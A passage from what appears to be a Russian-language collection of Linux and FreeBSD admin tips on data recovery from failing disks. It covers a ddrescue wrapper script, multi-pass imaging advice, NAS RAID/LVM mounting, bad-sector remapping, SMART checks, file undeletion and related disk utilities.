    if [ -n "$1" ] && [ "$1" = "-ata" ]; then
    if [ -n "$2" ] && test -d /sys/class/ata_port/ata"$2"; then
    SATAP="$2"; get_ata_host "$SATAP"; shift; shift
    else echo -n "Please enter correct port number: "; ls /sys/class/ata_port; exit 1; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-loop" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    DDLOOP="$2"; shift; shift; fi
    else DDLOOP=0
    fi
    
    if [ -n "$1" ] && [ "$1" = "-wait" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    LOOPWAIT="$2"; shift; shift; fi
    else LOOPWAIT=10
    fi
    
    if [ -n "$1" ] && [ "$1" = "-act" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 -a "$2" -lt 30 ]; then
    ATACMDT="$2"; shift; shift; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-stop" ] && [ -n "$SATAP" ]; then
    get_ata_target "$SATAP"
    while test -f "$SYSFSTGT"/delete; do echo 1 > "$SYSFSTGT"/delete; sleep 1; done
    exit; fi
    
    if [ -n "$1" ] && [ "$1" = "-scan" ] && [ -n "$SATAP" ]; then
    echo '0 0 0' > "$SCSIHOST"/scan; exit; fi
    
    if [ -z "$SATAP" ]; then showhelp
    exit; fi
    
    OUTFILE="$1"; shift
    MAPFILE="$1"; shift
    DDOPTS="$@"
    
    DONE=X
    LOOPCOUNT=0
    
    until [ "$DONE" = 0 ]; do
    get_ata_target "$SATAP"; get_ata_dev "$SATAP"
    if [ -n "$ATACMDT" ]; then echo "$ATACMDT" > "$SYSFSTGT"/timeout
    fi
    echo ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" "$DDOPTS"
    ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" $DDOPTS
    DONE="$?"
    if [ "$DONE" != 0 ] && [ "$DDLOOP" -gt 0 ]; then
    sleep "$LOOPWAIT"
    while test -d "$SYSFSTGT"; do echo 1 > "$SYSFSTGT"/delete
    sleep "$LOOPWAIT"; done
    sleep "$LOOPWAIT" && echo '0 0 0' > "$SCSIHOST"/scan
    DDLOOP=$(($DDLOOP-1))
    LOOPCOUNT=$(($LOOPCOUNT+1))
    echo "\n\033[1mDDLOOP" "#""$LOOPCOUNT"
    tput sgr0
    date
    echo -n "\n"
    else DONE=0
    fi
    done
    
     
    ----* Рекомендации по восстановлению данных со сбойного накопителя (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    USB флехи и SSD предмет простой: или прочиталось или нет. Шансов что при
    повторной попытке не читавшийся сектор прочитается - мало. Если заряд в флехе
    утек, то утек. Если там что-то более системное, слет таблиц трансляции, кончина
    (фирмвари) контроллера и прочее - ddrescue опять же не поможет. Это или
    спецутилиты под конкретный контроллер или подпайка к NAND и вычитывание на
    программаторе. Сам не сделаешь с такими вопросами.
    
    HDD - интереснее, механика мрет разнообразно. Довольно часто с цатой попытки
    чтение нестабильного сектора все же проскакивает. Если наивно монтировать диск
    средствами ОС, ядро наткнувшись на read error быстро сдастся, файлов не
    получишь, если не прочиталось по быстрому что-то важное типа суперблока, таблиц
    разделов и проч. А если построить образ за несколько проходов - может выйти
    довольно живым, монтируемым и с доступными файлами, плюс-минус то, что не
    прочиталось совсем.
    
    
    Идея такая, что проходов чтения несколько:
    
    1) Параметры 1-го прохода - при ошибке чтения пропускаем большой кусок, чтобы
    физически проблемную область обойти. Активное тормошение сбойной области может
    добить нестабильную механику или вызвать фатальные глюки прошивки диска. Будет
    у тебя половинка образа - потеряешь как дурак большинство файлов.
    
    2) Когда образ из 1) готов, дочитываем более дотошно, с повторными попытками и
    прочими камасутрами, например реверс направления чтения или что еще, в надежде
    что чтение все же проскочит. Количество "уточняющих" проходов - пока не
    задолбаешься, или пока не перестанут вычитываться сектора. Или как вариант
    пациент может умереть на очередной итерации, но это уже не важно, образ уже
    достаточно хороший, это была минимизация потерь. Насколько получится - столько
    и будет. Чем больше тем лучше, но HDD может решить иначе. Если не идиотничать,
    получишь большинство файлов в целости и сохранности.
    
    Некоторые моменты:
    
    1) Читать имеет смысл по размеру блока ECC. У старых жестких дисков 512 байтов.
    У новых ("advanced format") - 4096 байтов. Чем меньше блок тем медленнее
    чтение. Прочлось-не прочлось индивидуально для ECC-блока ("hardware sector").
    Необоснованно крупные блоки увеличивают потери данных. Если читать блоком
    мегабайт - даже если не прочтётся 1 сектор, чтение завалится для всего
    мегабайта и потеряется целиком. А если это 512 байтов сектора и не прочелся 1
    сектор а остальные ок - мы получим почти мегабайит данных, кроме 1 сектора.
    Разница однако. Особенно если это партишн или суперблок, без которых так сходу
    ФС вообще не смонтируется.
    
    2) При желании этим заниматься неплохо бы узнать кто такие UNC, IDNF, defect
    lists, атрибуты smart и проч, чтобы хотя-бы примерно понимать на что нарвался и
    перспективы (pending sectors, ...). Неплохо бы понимать логи/битмап чтения
    используемой софтины. По крайней мере чтобы не напортачить. Например если при
    разных попытках использовать разные размеры блока - есть риск ушатать образ,
    когда утилита читанет очередные сектора в неправильное смещение образа, считая
    не тот размер блока который реально был. Do not use force, try to think, Luke.
    
    3) В тяжелых случаях может потребоваться подкрутить таймауты ядра на link
    reset, число попыток и все такое прочее. Иначе ядро разочаруется в HDD и
    потеряет его. "Насовсем" - до ребута. Но это лечится - можно вручную
    пересканировать и найти пропавший жесткий диск.
    
    4) Перезагружать и особенно выключать компьютер с нестабильным жестким диском -
    худшая идея на свете. Если жесткий диск не стартанет - облом стопроцентный,
    после этого данные сможет вынуть только серьезный специалист. Необдуманный
    ресет может облегчить кошелек на очень круглую сумму. Если жесткий диск все-же
    потерялся, как в 3) - гуглишь как вызвать рескан жестких дисков, изучаешь /sys
    и заново ресканишь свой жесткий диск. Через минутку-другую после отвала.
    Фирмварь в это время может вкалывать пытаясь ремапнуть проблемный сектор, ядро
    же думает что жесткий диск повис и пытается link reset устроить. Фирмвара может
    думать довольно крепко, не ответит даже на IDENTIFY пока не закончит. В этом
    случае ядро очень огорчается и считает девайс мертвым. Так что подождать
    немного до того как ресканить. Никаких ребутов и выключений питания - после них
    жесткий диск может не запуститься совсем.
    
    5) Если бэдов всего несколько штук, можно записать в них что-нибудь, жесткий
    диск проверит читается ли это и если нет - переназначит на резервные. Но это
    имеет смысл только если бэдов не больше 3-5 штук. Со стукнутым жестким диском
    это или самообман или скрытые грабли для тех кому его всучишь, разрушения на
    этом не закончатся, по мере разлета пыли бэдов станет больше.
    
    6) Если порушено много - осторожно! После того как у жесткого диска закончится
    grown defect list (таблица ремапа, типично жесткий диск может перенести
    2000-4000 проблемных секторов) - может случиться все что угодно. WD уходят в
    что-то типа safe mode, считая девайс слишком дохлым, и обычными способами уже
    ничего не получишь. ATA командами "read sector" - читается. Но вот всякие NCQ и
    READ MULTI отваливаются, ядро так с наскока получает от ворот поворот и видит
    сплошные read error. Наверное можно переубедить, заставив забить на NCQ и
    читать по 1 сектору, но - лучше не нарываться.
    
     
    ----* Как подключить в Ubuntu диски Seagate Business NAS и восстановить данные   Автор: redwire  [комментарии]
     
    Данное пошаговое руководство содержит мои попытки подключить диски с вышедшего
    из строя сигейтовского хранилища к Ubuntu и восстановить файлы с русскими
    именами в UTF-8. В итоге все успешно получилось.
    Некоторые шаги не нужны и просто приведены чтобы показать ход мыслей и ошибочные результаты
    
    1) 
        gparted
        sd1-sd10
        lagest 930GB - our data partition
    
        ll /dev/sd*
    
    2) 
        sudo mount /dev/sdb10 /mnt
        mount: unknown filesystem type 'linux_raid_member'
    
    3) 
        sudo apt-get install mdadm
    
    4) 
        sudo mdadm --examine /dev/sdb10
        /dev/sdb10:
              Magic : a92b4efc
            Version : 1.2
        Feature Map : 0x0
         Array UUID : 9be48378:c6e35f3c:a878f234:39d645f4
               Name : Depository-NC:8
        Creation Time : Mon Jan  5 16:25:19 2015
    
    5) 
        sudo mdadm -A -R /dev/md/10 /dev/sdb10
        mdadm: /dev/md/10 has been started with 1 drive (out of 2).
    
    6) 
        sudo fdisk /dev/md/10
        /dev/md/10: device contains a valid 'LVM2_member' signature; it is 
        strongly recommended to wipe the device with wipefs(8) if this is 
        unexpected, in order to avoid possible collisions
    
        Устройство не содержит опознаваемой таблицы разделов.
        Created a new DOS disklabel with disk identifier 0xd3a790df.
    
    7) 
        sudo apt-get install lvm2
    
    8) 
        sudo vgscan
    
       Found volume group "vg8" using metadata type lvm2
    
    9) 
        sudo vgchange -ay vg8
    
        /run/lvm/lvmetad.socket: connect failed: Нет такого файла или каталога
        WARNING: Failed to connect to lvmetad. Falling back to internal scanning.
         1 logical volume(s) in volume group "vg8" now active
    
    10) 
        sudo lvs
    
        lv8  vg8  -wi-a----- 927,45g   
    
    11) 
        sudo mount /dev/vg8/lv8 /mnt/ -o ro,user
    
        mount: wrong fs type, bad option, bad superblock on /dev/mapper/vg8-lv8,
           missing codepage or helper program, or other error
    
    12) 
        sudo apt-get install fuseext2
        sudo fuseext2 -o ro -o allow_other /dev/mapper/vg8-lv8 /mnt
        fuse-umfuse-ext2: mounting read-only [main (fuse-ext2.c:378)]
    
    13) 
        cp /mnt/files /media/restoredir -r -v
    
    
    Ссылки на статьи, которые оказались полезными при восстановлении:
    
    * http://admin-to-admin.info/blog/montiruem-disk-iz-nas-ili-kak-smontirovat-raid-razdel-v-linux/
    * https://lorenzoferrara.net/blog/how-to-mount-a-raid-1-volume-from-seagate-blackarmor-nas.html
    * https://community.spiceworks.com/topic/561997-seagate-2-bay-nas-device-failed-trying-to-recover-data-from-one-of-the-drives
    * https://myanwyn.blogspot.ru/2014/08/how-to-recover-seagate-central-data.html
    
     
    ----* Выполнение команды с отключением кеширования операций с файловой системой в Linux (доп. ссылка 1)   [комментарии]
     
    В некоторых ситуациях необходимо выполнить операцию без влияния на кэш файловой
    системы, например, скопировать данные без их попадания в кэш. Для отключения
    кэша на уровне отдельных команд можно использовать утилиту nocache,
    перехватывающую вызовы open и close, и выполняя принудительно системый вызов
    posix_fadvise c параметром POSIX_FADV_DONTNEED.
    
    В качестве одной из областей использования доступа к  ФС c отключением
    кэширования можно отметить выполнение резервного копирования без влияния на
    содержимое кэша - в обычных условиях копирование большого числа файлов вытеснит
    часть других данных из кэша, при этом заранее известно, что новые данные точно
    не будут востребованы в ближайшее время. Избежать оседания данных в кэше при
    копировании можно выполнив следующую команду:
    
       ./nocache cp -a ~/ /mnt/backup/home-$(hostname)
    
    Другим применением может быть проведение тестов с исключением влияния кэша ФС.
    
     
    ----* Выявление нагружающих дисковую подсистему процессов в Linux   Автор: Yuriy Kulikov  [комментарии]
     
    В Centos 5.x нет нормальной поддержки iotop, без которого трудно понять, какой
    процесс больше всего грузит дисковую систему.
    Но можно использовать скрипт disktop.stp, написанный для подсистемы
    динамической трассировки SystemTap.
    
    Чтобы запустить disktop в CentOS нужно:
    Установить пакеты 
       kernel-debuginfo-`uname -r`
       kernel-debuginfo-common-`uname -r` 
    (скачать можно здесь http://debuginfo.centos.org/5/
    
    Установить пакет kernel-devel-`uname -r`
    
    Установить systemtap:
       yum install systemtap
    
    Запуcтить disktop:
       stap disktop.stp
    
    Пример работы:
    
       # stap disktop.stp
       Wed Nov 24 16:16:20 2010 , Average: 351Kb/sec, Read: 1680Kb, Write: 76Kb
    
       UID    PID     PPID          CMD     DEVICE    T        BYTES
       102    16196    29589        nginx     sda3    R       539535
        48    29429    26950        httpd     sda3    R       161992
        48    29427    26950        httpd     sda3    R       141730
        48    20089    26950        httpd     sda3    R       100256
        102    16196    29589       nginx     sda3    W        57253
    
     
    ----* Пропуск выполнения e2fsck при загрузке, через нажатие CTRL-C (доп. ссылка 1) (доп. ссылка 2)   Автор: Minoru  [комментарии]
     
    Согласно закону Мерфи, проверка fsck, происходящая каждые N загрузок, всегда
    случается в самое неподходящее время. По умолчанию, прерывание проверки с
    помощью CTRL-C заставляет fsck возвращать код ошибки, что приводит к
    перемонтированию файловой системы в режиме "только чтение".
    
    Но это легко меняется правкой /etc/e2fsck.conf:
    
       [options]
       allow_cancellation = true
    
     
    ----* Удаление физического раздела из LVM (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Монитор системы в Ubuntu 9.10 показал наличие проблемы с одним диском
    (/dev/sdb), который включён в LVM.
    
    Пришлось исключить этот диск из LVM вот таким образом, все операции опасны и выполняются под root.
    
       1. Сначала нужно определить на сколько следует уменьшить LVM
       2. Затем преобразовать файловую систему EXT3 в EXT2, и уменьшить
       3. Удалить физический том и извлечь его из VG
       4. Расширить LVM и EXT2 до предела
       5. Восстановить EXT3
    
    Обязательно необходимо соблюдать последовательность выполнения операций
    
       pvs
    
       PV         VG      Fmt  Attr PSize   PFree
       /dev/sda5  mediavg lvm2 a-     6,24G    0 
       /dev/sda6  mediavg lvm2 a-    48,30G    0 
       /dev/sdb2  linux   lvm2 a-    32,49G 5,86G
       /dev/sdb5  media   lvm2 a-   200,20G    0 
       /dev/sdc1  media   lvm2 a-   596,17G    0
    
    Видно, что LVM на media нужно уменьшить на более чем 200Gb, иначе не удасться извлечь /dev/sdb5
    
       vgs
    
       VG      #PV #LV #SN Attr   VSize   VFree
       linux     1   2   0 wz--n-  32,49G 5,86G
       media     2   1   0 wz--n- 796,36G    0 
       mediavg   2   1   0 wz--n-  54,54G    0
    
       lvs
    
       LV     VG      Attr   LSize   Origin Snap%  Move Log Copy% 
       ubuntu linux   -wi-a-   6,63G                              
       var    linux   -wi-ao  20,00G                              
       media4 media   -wi-a- 796,36G                              
       home   mediavg -wi-ao  54,54G
    
    Первым делам нужно преобразовать EXT3 в EXT2 иначе resize2fs не сможет её
    правильно уменьшить - удаляем журнал транзакций
    
       tune2fs -O ^has_journal /dev/media/media4
       fsck -n  /dev/media/media4
    
    Уменьшаем EXT2, эта операция длительная, требует отмонтирования и для неё
    необходимо достаточно свободного места
    
       resize2fs /dev/media/media4 590G
    
    Если не удаётся отмонтировать то можно найти программу которая использует этот раздел вот так
    
       lsof -n|grep media
    
    После уменьшения EXT2 необходима длительная проверка с помощью
    
       e2fsck -f /dev/media/media4
    
    Затем уменьшаем LVM
    
       lvreduce -L-205G  /dev/media/media4
    
    На предупреждение приходится отвечать Y
    
       lvs
    
       LV     VG      Attr   LSize   Origin Snap%  Move Log Copy% 
       ubuntu linux   -wi-a-   6,63G                              
       var    linux   -wi-ao  20,00G                              
       media4 media   -wi-a- 591,36G                              
       home   mediavg -wi-ao  54,54G
    
       vgs
    
       VG      #PV #LV #SN Attr   VSize   VFree  
       linux     1   2   0 wz--n-  32,49G   5,86G
       media     2   1   0 wz--n- 796,36G 205,00G
       mediavg   2   1   0 wz--n-  54,54G      0
    
    Выводим его из vg
    
       vgreduce media /dev/sdb5
    
    и если необходимо выводим физический раздел
    
       pvmove /dev/sdb5
    
    В случае, если EXT2 не уместилась на одном PV эти команды не сработают и
    придётся ещё раз уменьшать EXT2
    
    Теперь осталось расширить LVM и EXT2 и конвертировать в EXT3
    
       lvextend -l +100%FREE  /dev/media/media4
       resize2fs /dev/media/media4
       tune2fs -j /dev/media/media4
    
     
    ----* Решение проблем с удалением файлов гигантского размера в Linux (доп. ссылка 1)   [комментарии]
     
    Попытка удаления файла, имеющего размер порядка 7 Тб, приводит к зависанию Linux сервера 
    с ФС ext4 или reiser на несколько часов.
    
    Решение: проблема исчезает при использовании файловой системы XFS.
    
     
    ----* Быстрое тестирование производительности диска во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для быстрой оценки характеристик диска, а также получения сведений о скорости передачи данных 
    и времени позиционирования головок во FreeBSD можно использовать утилиту diskinfo:
    
       diskinfo -t /dev/aacd0
       diskinfo -c /dev/aacd0
    
    Для более детального анализа производительности можно использовать порт
    /usr/ports/benchmarks/bonnie++
    
     
    ----* Как быстро восстановить в Linux удаленный, но еще открытый файл   [комментарии]
     
    Если файл был случайно удален, но он еще открыт на чтение в какой-либо программе
    (например, проигрывается в медиа-плеере), то его легко восстановить из
    файлового дескриптора в ФС /proc
    
    Предположим мы случайно удалили файл 1.mp3, который еще проигрывается в mplayer.
    Ищем PID процесса mplayer
    
       ps -auxwww|grep mplayer
    
       gosha  17314  3.2  0.4  38680  8908 pts/3  SL+ 00:45 0:00 mplayer 1.mp3
    
    Переходим в директорию с параметрами процесса 17314 в /proc:
       
       cd /proc/17314 
    
    Открытые файловые дескрипторы перечислены в директории fd (/proc/17314/fd).
    
       cd fd
       ls -al
     
    В выводе видим дескриптор номер 4 с признаком deleted
       lr-x------ 1 gosha gosha 64 2009-02-27 00:48 4 -> /home/gosha/1.mp3 (deleted)
    
    Копируем его и получаем восстановленный файл:
       
       cp 4 /home/gosha/1.mp3
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Восстановление файлов, удаленных с Linux (ext3) и FreeBSD разделов (доп. ссылка 1)   [комментарии]
     
    Самый простой вариант - использование универсальной утилиты TestDisk (http://www.cgsecurity.org/wiki/TestDisk,
    /usr/ports/sysutils/testdisk) поддерживающей множество файловых систем, 
    например, ext2, ext3, ufs, fat, NTFS. Кроме восстановления файлов TestDisk позволяет 
    находить и восстанавливать содержимое удаленных дисковых разделов.
    
    Для восстановления группы удаленных файлов по их типу (например, фотографии) 
    можно воспользоваться программой PhotoRec (http://www.cgsecurity.org/wiki/PhotoRec).
    
    Обе утилиты TestDisk и PhotoRec работают в интерактивном режиме, постепенно
    уточняя параметры восстановления.
    Достаточно, отмонтировать раздел с которого собираемся восстанавливать файлы,
    выполнить "testdisk" и выбрать требуемые варианты восстановления.
    
    Демонстрация процесса восстановления представлена в скриншот-обзорах:
     http://www.cgsecurity.org/wiki/TestDisk:_undelete_file_for_ext2
     http://www.cgsecurity.org/wiki/TestDisk_Step_By_Step
    
    
    
    Второй вариант, более подходит для обладателей файловой системы Ext3 и связан с
    использованием утилиты ext3grep.
    
    Устанавливаем ext3grep (http://code.google.com/p/ext3grep/) или лучше
    загружаемся с LiveCD на котором присутствует данная утилита,
    например,  PartedMagic (http://partedmagic.com/) занимающий около 50 Мб.
    
    Предположим случайно были удалены файлы в директории /home/test/db, находящейся
    на ext3 разделе /dev/sda6.
    Чем быстрее мы попытаемся их восстановить, тем выше вероятность успеха.
    Убедимся что раздел /dev/sda6 не примонтирован. Переходим в директорию 
    доступную на запись и имеющую достаточно свободного места для помещения восстановленных файлов.
    
    Для восстановление файла /home/test/db/test.txt выполняем
    
       ext3grep /dev/sda6 --restore-file test/db/test.txt
    
    Для восстановления директории 
    
       ext3grep /dev/sda6 --restore-file test/db
    
    Результаты восстановления будут помещены в каталог RESTORED_FILES,
    который будет создан утилитой ext3grep в текущей директории.
    
    Посмотреть все найденные имена файлов можно командой 
    
       ext3grep /dev/sda6 --dump-names
    
    Для восстановления всех файлов удаленных с момента времени 1202351117:
    
       ext3grep /dev/sda6 --restore-all --after=1202351117
    
    Если с момента удаления прошло 30 мин, эпохальное время можно посмотреть например так:
       
       perl -e 'print time()-30*60';
    
     
    ----* Как избавиться от нечитаемых секторов на диске   [комментарии]
     
    В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:
    
       smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
       smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors
    
    SMART тестирование подтвердило подозрения:
    
       Запускаем фоновый тест диска, не мешающий основной работе:
          smartctl -t long /dev/ad5
       Ждем завершения периодически просматривая статус:
          smartctl -l selftest /dev/ad5
       В итоге смотрим содержимое лога, в самом конце вывода:
          smartctl -a /dev/ad5
       Имеем:
       # 1  Extended offline  Completed: read failure  90% 2916 10373954
    
    Выявляем полный список сбойных секторов, путем чтения всех данных с диска:
    
       dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync
    
    В один прекрасный момент появятся надписи вида:
    
       dd: /dev/ad5: Input/output error
       10373954+0 records in
       10373954+0 records out
       5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)
    
    В системном логе увидим:
    
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
       kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
       ....
       kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113
    
    Проверяем, каждый участок еще раз:
    
       dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync
    
    Смотрим какой файл в ФС подпадает под этот блок.
    
    Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):
    
       fdisk -s /dev/ad5
    
       /dev/ad5: 775221 cyl 16 hd 63 sec
       Part        Start        Size Type Flags
       1:          63   398444067 0xa5 0x80
       2:   398444130   382973535 0xa5 0x80
    
    10373954 - 63 = 10373891
    
       disklabel /dev/ad5s1
    
       # /dev/ad5s1:
       8 partitions:
       #        size   offset    fstype   [fsize bsize bps/cpg]
         a:  2097152        0    4.2BSD     2048 16384 28552 
         b:  4194304  2097152      swap                    
         c: 398444067        0    unused    0  0 # "raw" part
         d:  2097152  6291456    4.2BSD     2048 16384 28552 
         e: 10485760  8388608    4.2BSD     2048 16384 28552 
         f: 104857600 18874368    4.2BSD     2048 16384 28552 
         g: 104857600 123731968    4.2BSD     2048 16384 28552 
         h: 162127234 228589568    4.2BSD     2048 16384 28552 
    
    Видим, что 10373891 приходится на раздел /dev/ad5s1e
    Расчитываем смещение относительно начала раздела:
    10373891 - 8388608 = 1985283
    
    Находим иноду, которой принадлежит заданный блок:
       fsdb -r /dev/ad5s1e
       findblk 1985283
    
    повторяем для каждого сбойного сектора 
    (для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)
    
    Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
    ремапинга на диске.
    
        sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
        dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
        sysctl kern.geom.debugflags=0
    
    Если после записи сектор начал читаться - все ok, 
    
    если нет - резервная область на диске уже заполнена, пробуем запретить
    обращещние окружающих секторов в ФС:
    
       man badsect
    
      /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
      badsect /usr/BAD 1985283
      fsck -y /dev/ad5s1e
    
    Полезные порты:
       /usr/ports/sysutils/recoverdm 
       /usr/ports/sysutils/diskcheckd
    
     
    ----* Добавление информации для восстановления к архивам.   Автор: mahoro  [комментарии]
     
    Утилита par2 позволяет добавлять к файлам информацию для восстановления по
    алгоритму Рида-Соломона.
    Это позволяет восстанавливать исходный файл в случае небольших (или даже серьезных) повреждений. 
    Делается это следующим образом:
    
       $ sudo aptitude install par2 #(cd /usr/ports/archivers/parchive; make instal)
       $ ls
         dump.sql.gz
       $ par2 create -v -r10 -n1 -m500 dump.sql.gz
       $ ls
         dump.sql.gz dump.sql.gz.par2 dump.sql.gz.vol000+100.par2
    
    Эта команда добавит 10% (-r10) избыточной информации к данным, запишет все это в один файл (-n1), 
    при этом программе par2 разрешено использовать 500 мегабайт оперативной памяти (-m500). 
    Файлы *.par2 следует записать на диск вместе с дампом.
    
    Восстановить поврежденный файл можно командой
    
       $ par2 repair dump.sql.gz.par2
    
    Подробнее о par2 и чтении данных с битых CD: 
       http://alexey.sveshnikov.ru/blog/2008/04/10/broken-cd-parchive/
    
    Подробнее про о коде Рида-Соломона:
       http://www.insidepro.com/kk/027/027r.shtml
    
     
    ----* Как поведет себя ext3 при сбросе питания на разных стадиях работы ФС (доп. ссылка 1)   [комментарии]
     Как поведет себя ext3 при крахе, из-за отключения питания машины, на разных стадиях работы ФС.
  • Если питание будет отключено в момент записи и повредит сектор, то восстановления записываемой информации не будет;
  • Сброс питания во время записи может привести к последующему получению случайного набора данных, но fsck должно среагировать на эту проблему;
  • Если отключение питания вызвало повреждение данных в секторах, целостность данных в секторе, который успел записаться будет сохранена;
  • Тем же проблемам подвержены любые другие журналируемые ФС, например XFS.
  •  
    ----* Восстановление "битого" iso образа при помощи rsync   Автор: greyork  [комментарии]
     

    В данном примере показано восстановление образа снятого с "криво" записанного диска FreeBSD 6.0.

    1. Находим при помощи гугла rsync-зеркала с интересующими нас образами. Для задачи из примера их список можно увидеть здесь.

    Выбираем ближайшие зеркала с отметкой rsync напротив адреса: ftp2.ru.freebsd.org и ftp5.ru.freebsd.org.

    2. Узнаем какие "модули" доступны у выбранных rsync-серверов при помощи команды:

    
         rsync -n -vv ftp2.ru.freebsd.org::
    
    

    Ответ - два слова FreeBSD, откуда заключаем, что имя интересующего нас модуля - FreeBSD. Для сервера ftp5.ru.freebsd.org узнать имя модуля таким способом не удастся - этот сервер возвращает в ответ только информацию "рекламного" характера. Пояснения к команде: ключ -n не позволяет утилите rsync загружать ничего; ключ -vv позволяет увидеть на экране больше информации о происходящем; два двоеточия после имени сервера обязательны (можно использовать вместо них rsync:// перед именем сервера, но это длиннее).

    3. Изучаем расположение каталогов и файлов на сервере:

    
         rsync -n -vv ftp2.ru.freebsd.org::FreeBSD/
    
    

    К предыдущей команде добавлено имя модуля и следующий за ним слэш (/). Слэш нужен для указания того, что необходимо отобразить листинг директории, а не ее саму. В результате выполнения команды можно увидеть, что файловая структура (в данном случае) повторяет расположение файлов на FTP-сервере. После чего определяем где лежат искомые образы (листаем интересующие нас каталоги) и продолжаем. К сожалению, у меня не получилось заставить работать ключик --list-only из man rsync и пришлось находить вышеописанный способ методом научного тыка.

    4. Предположим, что образ диска уже снят, например так:

    
         readcd dev=ATA:1,0,0 speed=8 -noerror f=/path/to/6.0-RELEASE-i386-disc1.iso
    
    

    (Подробности в man readcd) И контрольная сумма образа не совпадает с суммой образа с официального веб-сайта.

    5. Восстанавливаем образ командой:

    
         rsync --stats --progress -z -vv \
          ftp5.ru.freebsd.org::FreeBSD/ISO-IMAGES-i386/6.0/6.0-RELEASE-i386-disc1.iso \
          /path/to/freebsd/6.0-RELEASE-i386-disc1.iso \
    
    

    Пояснения к команде: -z желателен для сжатия передаваемой информации (действенность не проверял); --stats выводит после окончания подробную информацию о сделанном; --progress отображает процент выполнения текущей задачи.

    6. Убеждаемся, что сумма восстановленного образа совпадает с суммой образа с официального сайта.

    Данным методом я восстановил образы дисков с FreeBSD 6.0, записанных при помощи программы Nero добрым человеком с толстым каналом. readcd ругался на эти диски в самом конце каждого из них. Входящий трафик, в моем случае, для обоих дисков составил меньше 1 Mb.

     
    ----* Ядро 2.6.14 и OnTrack на диске   Автор: Spider84  [обсудить]
     
    Наткнулся на днях на грабли. Оказывается ядро 2.6.14, а я уверен и не только оно,
     не понимает автоматом OnTrack на диске и прочие ему подобные "изменятели геометрии диска".
    
    Если к примеру ядро 2.4.29 без проблем грузится на с таким диском и при загрузке пишет что-то типа:
    
       hdc: hdc1[DM6:DD0] hdc2 <hdc5 hdc6>
    
    то 2.6.14 пишет:
       
       hdc: hdc1[DM6] hdc2
    
    и продолжает грузиться, при этом обратиться к hdc разделам нельзя, но fdisk с ними работает.
    
    проблема решилась установкой ключа hdc=remap64 в параметрах ядра.
    к примеру в lilo.conf так:
       append="hdc=remap63"
    
    и при загрузке ядро на ура всё определит.
    
    О более подробном списке ключей можно почитать тут: /usr/src/linux/Documentation/ide.txt строка 214
    
     
    ----* Как проверить жесткий диск используя SMART интерфейc. (доп. ссылка 1)   [комментарии]
     
    Устанавливаем утилиту http://smartmontools.sourceforge.net/
    
    Выводим информацию, поддерживает ли диск SMART.
       $ smartctl -i /dev/rdsk/c0t0d0s0
    
    Включаем SMART, если выключен.
       $ smartctl -s on /dev/rdsk/c0t0d0s0
    
    Проверяем какие возможности SMART  поддерживает диск и какие установлены параметры.
       $ smartctl -c /dev/rdsk/c0t0d0s0
    
    Статус состояния диска и список атрибутов проверок.
       $ smartctl -H /dev/rdsk/c0t0d0s0
       $ smartctl -A /dev/rdsk/c0t0d0s0
    
    Запускаем offline тест
       $ smartctl -t offline /dev/rdsk/c0t0d0s0
    
    Смотрим, есть ли ошибки
       $ smartctl -l selftest /dev/rdsk/c0t0d0s0
    
    Смотрим более детально
       $ smartctl -r ioctl -i /dev/rdsk/c0t0d0s0
    
    Выводим общую статистику
       $ smartctl -a /dev/rdsk/c0t0d0s0
    
     
    ----* Мониторинг и восстановление программного RAID в Linux   Автор: radigor  [комментарии]
     
    Управление программными RAID1-массивами в RHEL
    
    Мониторинг состояния 
    
    Информация о всех RAID-массивах:
       # more /proc/mdstat
    или
       # cat /proc/mdstat
    или
       # watch -n .1 cat /proc/mdstat
    
    Информация о конкретном дисковом разделе:
       # mdadm -E /dev/sd<a-b><1-10>
    например:
       # mdadm -E /dev/sdb2
    
    
    Восстановление функционирования
    
    Восстановление функционирования (rebuild) разделов диска по одному после
    однократного "несмертельного" сбоя:
